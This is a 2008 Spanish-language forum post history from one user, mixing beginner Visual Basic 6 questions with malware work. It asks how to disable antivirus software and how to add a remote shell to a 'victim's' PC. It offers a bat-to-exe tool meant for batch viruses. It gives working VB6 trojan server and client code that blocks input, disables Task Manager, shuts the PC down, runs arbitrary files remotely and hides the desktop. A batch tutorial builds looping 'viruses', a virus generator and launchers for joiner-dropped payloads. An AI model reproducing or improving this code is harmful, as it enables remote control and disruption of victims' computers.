#24
Programación Visual Basic / av-killer
26 Febrero 2008, 16:57 PM
para un av-killer serviria por ejemplo que abra los archiovos de los antivirus en modo bynario i les pusiera cualquier cosa yo se que para los archivos normales los hecha a perder pero no se si tienen alguna proteccion contra esto mi pregunta es 
¿¿¿¿esto desabilitaria el  av???

pd:perdon por no probarlo yo mismo pero estoi en la casa de una tia que no tiene ni el vb6 ni antivirus
#25
Scripting / transformer 2.0(bat a exe)
26 Febrero 2008, 06:17 AM
bueno aca viene la segunda version de mi programa que la postie con el soruce code en l aseccion de vb pero por problemas voi a poder poner el puro programa i nada mas hasta como 5 dias

bueno para los que no sepan que hace mi programa lo que hace es transformar un bat a un exe ademas de agregarle opciones de bloqueos i forma oculta o visible de ejecucion.la diferencia con el 1.5 es que este cifra el archivo bat cosa que nadie lo pueda modificar
descargar:http://rapidshare.com/files/94985485/transformer_2.0_by_krackwar.rar.html
#26
Programación Visual Basic / [source]transformer
22 Febrero 2008, 03:03 AM
bueno aca les dejo mi nueva creacion que la hice en un mometo de aburrimiento .Bueno le explicare lo que hace mi creacion


transformer

explicare mi creacion
¿que hace?
transforma un archivo *.bat a *.exe
¿que opciones tiene?
bueno como esta es la primera version solo tiene la opcion de hacer que el archivo se ejecute visible o ocultamente
¿a que tipo de programas esta orientado?
a los virus, gusanos ,etc... que esten hechos en batch

descargar:http://rapidshare.com/files/93840629/transformer_by_me.rar.html
#27
alguien sabe como puedo hacer para que si tengo dos frame en un mismo lugar que al apretar un boton me muestre un frame i al apretar otro me esconda el primer frame i mustre el segundo i si aprieto otro boton que me oculte el segundo frame i me muestre el primero

gracias de antemano

saludoz
#28
Programación Visual Basic / error en code
13 Febrero 2008, 15:16 PM
ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox  aki va el code
----------en el server-------------
If Left(datos, 2) = "hk" Then
Dim ind As Object
   Set ind = CreateObject("WScript.Shell")
   Dim tmp As String
   tmp = wsh.RegRead datos
   ws.SendData "2020" & tmp
End If

.-----en el cliente-------
if left(datos , 4 ) ="2020" then
datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")

---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería


gracias de antemano ;)
#29
Programación Visual Basic / api de messenger
31 Enero 2008, 15:30 PM
ola ,  por que me sale esto al compilar :huh: :huh:
#30
ola , mi pregunta es si se puede "filtrar el contenido de un mensaje privado" para que no te puedan emviar mensajes privados como este :huh: :huh:
Cita de: Aquiles89 en 25 Enero 2008, 21:16 PM
hola man ....te puedo pedir un favor sabes como bajar un programa para descifrar una cuenta de un juego es que me la rrovaron y quiero recuperarla me alludas plizzz

#31
bueno aka pongo unos codes para kese los agrguen a sus troyano  ;) ;)

--------------------------------desapareser mouse---------------------------------------
agregar un module en el server y un Commandbutton en el cliente
---en el modulo del server----
[code]
Declare Function ShowCursor Lib "user32" _
            (ByVal bShow As Long) As Long

----en el server-----

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desp" then ShowCursor false
end sub

----en el cliente----

Private Sub Command1_Click()
ws.senddata "desp"
End Sub

-----------------------blokear mouse i teclado----------------------
agregar un commandbutton en el cliente i un modulo en el server
-----en el modulo del server------
Public Declare Function BlockInput Lib "user32" _
            (ByVal fBlock As Long) As Long

-----en el server------
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "desa" then BlockInput true
end sub

-----en el cliente---
Private Sub Command1_Click()
ws.senddata "desa"
End Sub

---------------------------------------hacer sonar beep ----------------
agregar un commandbutton en el cliente i un mopdulo en el server
-----en el modulo del server------
Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
------en el server---------

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "beep" then
Beep 999, 999
Beep 999, 999
end if
end sub

----3n 3l kl13nt3 xd-----
Private Sub Command1_Click()
ws.senddata "beep"
End Sub

-----------------------------------------abrir cosita de los cd---------------------------
agregar un modulo en el server i un commandbutton en el cliente
-----en el modulo del server---
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long


----en el server---
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trok" then
Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
end if
end sub

---en el cliente----
Private Sub Command1_Click()
ws.senddata "trok"
End Sub

-------------------------blokear el taskmgr.exe(cttrl + alt +supr)-------------------------
agregar 1 comand button en el server i 1 en el cliente
----en el server-----
Private Sub Command1_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
End Sub

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men

Set Fso = CreateObject("wscript.shell")

Fso.RegWrite Folder, Value, "REG_DWORD"


Set Fso = Nothing


Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub

rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trtk" then call Command1_Click
end sub

----en el cliente----
Private Sub Command1_Click()
ws.senddata " trtk"
end sub

----------------------------------------apagar el pc------------------
agregar un commandbutton en el cliente
----en el server---
Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String
Dim sn As String
sn = "shutdown"
ws.GetData datos
If datos = "lol" Then Shell (sn & "  -s -t 00")

----en el cliente----
Private Sub Command1_Click()
ws.senddata "lol"
End Sub

---------------------ejecutar un archivo----------------
agregar un textbox en el cliente i un comandbutton en el cliente
----en el server----
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 4) = "ejec" Then
datos = Right(datos, Len(datos) - 4)
Shell (datos)
End If
end sub

---en el cliente---
Private Sub Form_Load()
text1.text = "aka va el archivo a ejecutar"
End Sub
Private Sub Command1_Click()
ws.senddata "ejec" & text1.text
End Sub

-----------------------------------no dejar abrir ventanas-----------------------------------
agrega un modulo i un timer en el server i un commandbutton en el kliente
----en el modulo del server---
Public Const VK_LWIN = &H5B
Public Const KEYEVENTF_KEYUP = &H2

Public Declare Sub keybd_event Lib "user32" _
    (ByVal bVk As Byte, ByVal bScan As Byte, _
    ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

----en el server----
Private Sub Form_Load()
timer1.enabled = false
End Sub
Private Sub Timer1_Timer()
   Call keybd_event(VK_LWIN, 0, 0, 0)
    Call keybd_event(77, 0, 0, 0)
    Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "jajaja" then
timer1.interval = 100
timer1.enabled = true
end sub

--en el cliente----
Private Sub Command1_Click()
ws.senddata "jajaja"
End Sub

------------------------despareser iconos------------------
agregar un commandbutton en el cliente
-----en el server---
Private Declare Function FindWindowEx Lib "user32" _
Alias "FindWindowExA" (ByVal hWnd1 As Long, _
ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long


Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long

Const SW_SHOW = 5
Const SW_HIDE = 0



private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "topo" then
Dim Ret As Long

On Error Resume Next

Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)

ShowWindow Ret, SW_HIDE
end if
End Sub

------en el cliente -----
Private Sub Command1_Click()
ws.senddata "topo"
end sub

---------------------desaparecer boton de inicio (signo de windows)-----------------
agregar un command button en el cliente
--------------------en el server---------
Const WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1


Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type


Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByValhMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long

Dim tWnd As Long, bWnd As Long, ncWnd As Long

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "paza" then
Dim R As RECT

tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)

GetWindowRect bWnd, R

ShowWindow ncWnd, SW_NORMAL

ShowWindow bWnd, SW_HIDE
end if

----------en el cliente-------------
Private Sub Command1_Click()
ws.senddata "paza"
End Sub[/code]
#32
ola , mi pregunta es si se puede eliminar un form en ejecucion sin dañar el programa o si se puede poner la propiedad visible = false en ejecucion i que kede para siempre de esa forma :huh: :huh:
#33
ola.buenos dias e estado asiendo un "troyano" basico pero funciona exepto por una cosita que es la pàrte de enmviar mensajes lo que ase es el cliente emvia todo lo del mensaje por parte i el cliente guarda kada parte en 3 text box i despues ase un mensaje que muestre el mensaje el tiulo i el tipo de mensaje pero no me lo muestra bueno les dejo el link de mi troyano
descargar troyano con el source ai tiene que aserle un klick al archivo osiris.rar para descargarlo esta con el source
#34
Programación Visual Basic / shell en troyano
12 Enero 2008, 00:00 AM
ola, primero que nada kisiera agradecer al foro ya que an contestado todas mis dudas bueno aora lo que deseo saber komo le puedo poner una shell a mi troyano osea que pueda manejar una shell del pc de mii victima desde mi pc
de ante mano muuchas gracias
#35
parece que ai un bug en el foro xk emves de aparecer mi nombre donde dice kien esta viendo el tema  no aparesco
#36
como puedo hacer que se vea el texto de la text2 en un msgbox pero que diga alg antes osea algo asi


MsgBox lol  text2
#37
Ejercicios / sección mui antigua
4 Enero 2008, 19:15 PM
esta sección del foro el penultimo post es mui antiguo dibieran ponerle mas entuciasmo ;)
#38
ola , me dirijo a ustedes para asele la siguiente pregunta como le puedo poner usuario i contraseña a un programa para entrar a este lo que se me avia ocurrido era esto

Private Sub Command1_Click()
If usuario.Text = "krackwar" Then Next
Else
MsgBox "buu"
If pazz.Text = "contraseña" Then
programa.show
usuarioipass.hide
Else
MsgBox "buu"
End Sub


perdon si esta mui mal este codigo pero ase pokos dias que empeze a programar en vb6 :P
#39
Programación Visual Basic / consulta
1 Enero 2008, 00:25 AM
ola,1º k nada feliz año nuevvo,estoi empezando cn este lenguaje ia ize unprograma aunke inutil = funciona www.usuarios.lycos.es/mono437/mensaje5.exebueno esto no va a el tema mi pregunta es como puedo sumar en vb6 gracias
adiozz ;) ;)
#40
Programación Visual Basic / comondialog
30 Diciembre 2007, 19:34 PM
ola,io soi nuevo en este lenguajeincluso empeze oi dia estaba leyendo una tutorial para hacer un joiner i no puedo encontrar el boton para poner el comondialog(o como se escriba ) si me pueden enviar una foto para saber donde esta se los agradeceria
:-[
#41
ola, no se donde va esto pero este fue el lugar mas indicado que encontre para ponerlo bueno si va en otro lado los moderadores lo cambiaran.
empesemos.

bueno batch komo ustedes sabran es lo mismo que ms-dos las preguntas que se pueden hacer son las siguientes
¿como creo un archivo batch ?
bueno esto se puede hacer escribiendo todo lo que kontendra el batch en bloc de notas i depues poner guardar como i en nombre poner nombredelarchivo.bat o nombredel archivo.cmd desde windows 2000 para arriba(nome acuerdo bien si es del 200 para arriba o desde el xp)
¿por que se guarda como archivo.bat i no archivo.batch?
bueno esto es por que en la consola de ms-dos no se pude poner mas de 3 letras en la extensión i x esto desidieron poner las 3 primeras letras de batch osea bat
¿este idioma de programacion es bueno para empezar?
si,este idioma no es mui complicado por lo que es un buen idioma para empezar a programar despues de manojar este recomiendo seguir con visual basic.
¿que es lo que se puede hacer con este idioma?
puedezs hacer desde una encuesta asta editar el registro
¿se pueden hacer troyanos con batch?
no, no se puede pero se puede hacer artas cosas como virus, worms,etc...

bueno empecemos la guia

1º_ empecemos con algo facil como hacer una pregunta i ocupar la respuesta

@echo off
set /p respuesta=komo te llamas?
echo te llamas %respuesta%
pause
exit


explicaremos esto "echo off" se usa para que muestre sola la respuesta osea que no aparescan los comandos ej:si pones set /p rata=ola?va a mostar solo ola?
"set /p" se usa para establecer una variable osea si pones 

set /p respuesta=komo te llamas?

la varible es respuesta que esto va a ser = a lo que eskribas

ej:si escribes de respuesta ola raspuesta va hacer = a ola

esto lo puedes ocupar para poner un mensaje

ej: echo tu nombre es %respuesta% (siempre ai que enserrar la palabra en % cuando se ocupa para hacer algo)

esto va a mostrar un mensage que dira tu nombre es i la respuesta que diste
ejemplo si diste de respuesta juan va a mostar

tu nombre es juan

(uno puede ocupar cualkier palabra emvves de respuesta)
ejemplo:puedes ocupar pollo i kedaria a si

set /p pollo=tu nombre es?
echo tu nombre es %pollo%

siempre asegurate de que sea la misma palabra
"pause" se ocupa para que la persona tenga que apretar una tecla para continuar
"exit" se ocupa para salir del programa

2º_ imventaremos un archivo que kree un archivo que si lo abres va a aparecer un mensaje diciendo ola
el codigo seria

@echo off
echo msg * ola>> mensaje.bat
exit

vamos a explicar
bueno la mayoria de la sintaxis ia la explique pero vamos a explicar lo que no explique
"echo msg * ola>> mensaje.bat"con esto digo que kree un programa que al abrirlo apareska un mensage esto se ase asi "echo lo que va a estar escrito dentro del archivo >>ruta/nombre del archivo.extension(si no se pone la ruta se crea el archivo en la misma ruta del archivo originalosea el creador).
3º_vamos a  unir el primer ejecicio con el segundo
este archivo lo que va hacer que kree un archivo que muestre un mensaje que diga lo que kieras kedaria asi:

@echo off
set /P mensaje=que kieres que diga el mensaje?
echo msg * %mensaje%>>msg2.bat
exit

bueno lo que ase es crear msg2.bat que diga msg * mensaje que kieres
i al ser .bat muestra el mensaje si kieres aaser mas completo esto puedes hacer esto:

@echo off
set /P mensaje=que kieres que diga el mensaje?
echo @echo off>>msg2.bat
echo msg * %mensaje%>>msg2.bat
echo exit>>msg2.bat
exit


esto lo que ase es crear el archivo i sobre escribirlo ia que no se puede hacer de esta manera:

set /P mensaje=que kieres que diga el mensaje?
echo @echo off
msg * %mensaje%
exit
>>msg2.bat
exit
:xD

4º_aora lo que vamos a hacer es un virus simple mas lamados bucle
este lo que ara es abrir una pagina consecutivamente esto kedaria asi:

@echo off
:pagina
start www.yelcho.cl
goto pagina

esto lo que dice es
":pagina" es como una "direccion" que se le asigna al comando siempre tiene que aver antes dela "direcion" ":" para que sepa el programa que es la "direccion" que se le asigna al comando
"start" es para iniciar algo por ejemplo en este caso dice start www.yelcho.clestodice que abra una ventana de internet  de la pagina www.yelcho.cl
"goto" significa ir a i al poner la "direccion" este va a esa "direccion"  en resumen abre www.yelcho.cl idespues ase que se repita la ccion infinitas veces
5º_creador de virus
este programa lo que ara sera crear un virus simple como el anterior klaro que dara opciones i con titulo
el kodigo kedaria asi:

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

aki ai 2 comandos nuevos uno que es "cls" este se ocupa para limpiar la pantalla
i el otro que es "title" que se usa para ponerle titulo a el archivo e ej:

title "aki va el tiulo"

esto aii que ponerlo debajo del echo off ia que si no se be cuando escribe title "titulo"
i se ve feo :¬¬ .bueno esto de ejecutar una pagina web consecutivamente se puede hacer tambien con algun programa , mensaje ,etc...  ej para un mensaje :

@echo off
:mensage
start msg * "el mensaje kee kkieren "
goto mensaje

si kieren aserlo kon el  :

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que pagina kieres que se abra x siempre??(ej:www.pag.com)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start %car1%>>%name%.bat
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

emves de poner la pagina pones msg * "el mensaje que kieres" o pueden aserle esta modificacion :

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que mensaje que kieres mostar por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo start msg *  %car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

para ejecutar un aarchivo te tienes que saber la ruta del archivo o si ocupas un joiner i este descomprime los archivos en la carpeta de archivos temporales por ejemplo si usas un joimer i este descomprime los archivos en la carpeta temporal kedaria asi:

@echo off
:programa
start %temp%/archivo(el nombre del archivo tiene que ser el nombre del archivo original por ejemplo si combinaste una foto que se llamaba lol.jpg i el archivo se llamava jaja.exe i los uniste i el archivo final se llamaba nose.exe entonces kedaria asi %temp%/jaja.exe)
goto programa

si kieres aserlo con el creador seria:

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kieres que se ejecute por siempre??(modificacion 1)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo  %temp%/%car1%>>%name%.bat(modificacion 2 )
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit

bueno explicare un poco que es %temp%, %temp% es la direccion de la carpeta donde se guardan los archivos temporales osea los que dura un tiempo x ejemplo kuando usas el word i no guardas nosierto que = esta tu archivo en archivo/nose.doc
bueno este archivo se almacena en la carpeta %temp%, bueno porke ponemos %TEMP% I NO SIMPLEMENTE TEMPORALES bueno esto es porke si kieres as3r esto tendrias que sabeerte toda la ruta i esta puede variar segun la pc.

bueno asi kedaria si ocuparas un joiner i si lo isieras normalmente te tendrias que saber la ruta del archivo
ej:

:programa2
ruta/arhivo
goto programa2

bueno i con el creador kedaria asi:

@echo off
title creador by .::krackwar::.
set /p name=kual kieres que sea el nombre del virus?(sin la extension)
echo aprieta cualquier tecla
pause>nul
cls
set /p car1=que programa kiers que abra x siempre??(anotar con ruta ej: ruta/archivo)
echo @echo off>>%name%.bat
echo :pagina>>%name%.bat
echo %car1%>>%name%.bat(OJO)
echo goto pagina >>%name%.bat
msg * by .::krackwar::.
msg * xao
exit